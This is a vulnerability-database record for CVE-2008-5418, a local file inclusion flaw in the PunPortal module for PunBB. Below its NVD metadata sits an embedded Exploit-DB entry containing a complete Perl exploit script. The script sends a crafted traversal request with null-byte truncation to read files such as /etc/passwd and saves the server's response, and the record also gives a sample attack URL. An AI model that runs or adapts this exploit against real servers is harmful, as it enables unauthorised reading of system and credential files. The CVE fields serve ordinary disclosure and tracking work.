{"id": "CVE-2008-5418", "bulletinFamily": "NVD", "title": "CVE-2008-5418", "description": "Directory traversal vulnerability in login.php in the PunPortal module before 2.0 for PunBB allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the pun_user[language] parameter.", "published": "2008-12-10T14:00:00", "modified": "2017-09-29T01:32:00", "cvss": {"score": 5.1, "vector": "AV:N/AC:H/Au:N/C:P/I:P/A:P"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-5418", "reporter": "cve@mitre.org", "references": ["https://exchange.xforce.ibmcloud.com/vulnerabilities/46774", "https://www.exploit-db.com/exploits/7168", "http://www.securityfocus.com/bid/32380", "http://securityreason.com/securityalert/4707"], "cvelist": ["CVE-2008-5418"], "type": "cve", "lastseen": "2020-10-03T11:51:04", "edition": 3, "viewCount": 6, "enchantments": {"dependencies": {"references": [{"type": "exploitdb", "idList": ["EDB-ID:7168"]}], "modified": "2020-10-03T11:51:04", "rev": 2}, "score": {"value": 7.2, "vector": "NONE", "modified": "2020-10-03T11:51:04", "rev": 2}, "vulnersScore": 7.2}, "cpe": ["cpe:/a:justin_roy:punportal_module:1.0"], "affectedSoftware": [{"cpeName": "justin_roy:punportal_module", "name": "justin roy punportal module", "operator": "eq", "version": "1.0"}], "cvss2": {"cvssV2": {"accessComplexity": "HIGH", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5.1, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:H/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 4.9, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": true, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {}, "cpe23": ["cpe:2.3:a:justin_roy:punportal_module:1.0:*:*:*:*:*:*:*"], "cwe": ["CWE-22"], "scheme": null, "affectedConfiguration": [{"cpeName": "punbb:punbb", "name": "punbb", "operator": "eq", "version": "*"}], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"children": [{"cpe_match": [{"cpe23Uri": "cpe:2.3:a:punbb:punbb:*:*:*:*:*:*:*:*", "vulnerable": false}], "operator": "OR"}, {"cpe_match": [{"cpe23Uri": "cpe:2.3:a:justin_roy:punportal_module:1.0:*:*:*:*:*:*:*", "vulnerable": true}], "operator": "OR"}], "operator": "AND"}]}}

{"exploitdb": [{"lastseen": "2016-02-01T02:34:07", "description": "PunBB Mod PunPortal 0.1 Local File Inclusion Exploit. CVE-2008-5418. Webapps exploit for php platform", "published": "2008-11-20T00:00:00", "type": "exploitdb", "title": "PunBB Mod PunPortal 0.1 - Local File Inclusion Exploit", "bulletinFamily": "exploit", "cvelist": ["CVE-2008-5418"], "modified": "2008-11-20T00:00:00", "id": "EDB-ID:7168", "href": "https://www.exploit-db.com/exploits/7168/", "sourceData": "#!/usr/bin/perl\n\n=about\n\n PunBB (PunPortal 0.1) Local File Inclusion Exploit\n --------------------------------------------------\n by athos - staker[at]hotmail[dot]it\n download mod http://www.punres.org/download.php?id=1108\n download cms http://punbb.org\n\n register globals = 1\n magic quotes gcp = 1\n \n \n \n File (include/login.php)\n \n 1. <?php\n 2.\n 3. // Show login if not logged in\n 4. if($pun_user['is_guest'])\n 5. {\n 6. if(!isset($focus_element) || (isset($focus_element) && !in_array('login', $focus_element)))\n 7. {\n 8. \n 9. // Load the language files\n 10. require PUN_ROOT.'lang/'.$pun_user['language'].'/common.php';\n 11. require PUN_ROOT.'lang/'.$pun_user['language'].'/login.php';\n \n \n $pun_user['is_guest'] isn't declared\n $pun_user['language'] isn't declared\n \n include/user/login.php?pun_user[is_guest]=a&pun_user[language]=../../etc/passwd%00\n \n how to fix?use the latest version (2.0) \n \n Usage: perl punbb.pl localhost/cms\n \n=cut\n\n\nuse strict;\nuse warnings;\nuse IO::Socket;\n\n\nmy $html = undef;\nmy $site = $ARGV[0] or &help;\nmy @take = split /\\//,$site;\n\nmy ($host,$path) = @take;\n\nif($site =~ /http:\\/\\/(.+?)/i) {\n print STDOUT \"Invalid URL\\n\";\n exit;\n}\n\nprint STDOUT \"Local File (ex: ../../etc/passwd)\\n\";\nprint STDOUT \"Local File: \";\n \nchomp(my $file = <STDIN>);\n\nif(not defined($file)) {\n print STDOUT \"File Not Defined!\\n\";\n exit;\n}\n\n\nmy $evil = \"/include/user/login.php?pun_user[is_guest]=a&pun_user[language]=\";\n\nmy $sock = new IO::Socket::INET(\n PeerAddr => $host,\n PeerPort => 80,\n Proto => 'tcp',\n Timeout => 6,\n ) or die $!; \n\nmy $data = \"GET /${path}/${evil}${file}%00 HTTP/1.1\\r\\n\".\n \"Host: $host\\r\\n\".\n \"User-Agent: Mozilla/4.5 [en] (Win95; U)\\r\\n\".\n \"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\n\".\n \"Accept-Language: en-us,en;q=0.5\\r\\n\".\n \"Accept-Encoding: gzip,deflate\\r\\n\".\n \"Connection: close\\r\\n\\r\\n\";\n\n$sock->send($data);\n\nwhile(<$sock>) {\n $html .= $_;\n} \n\nif($html =~ /(No such file or directory|HTTP\\/1.1 404 Not Found)/i) {\n print STDOUT \"Exploit Failed!\\n\";\n exit;\n}\nelse {\n my $name = int(rand(999)).'.txt';\n \n open(FILE,\">\",$name);\n print FILE $html;\n close(FILE);\n \n print STDOUT \"Exploit Successfully!\\n\";\n print STDOUT \"$name saved!\\n\";\n exit;\n}\n\n\nsub help {\n print STDOUT \"PunBB (PunPortal 0.1) Local File Inclusion Exploit\\n\".\n \"by athos - staker[at]hotmail[dot]it\\n\".\n \"Usage: perl $0 [host/path]\\n\";\n exit;\n}\n\n# milw0rm.com [2008-11-20]\n", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/7168/"}]}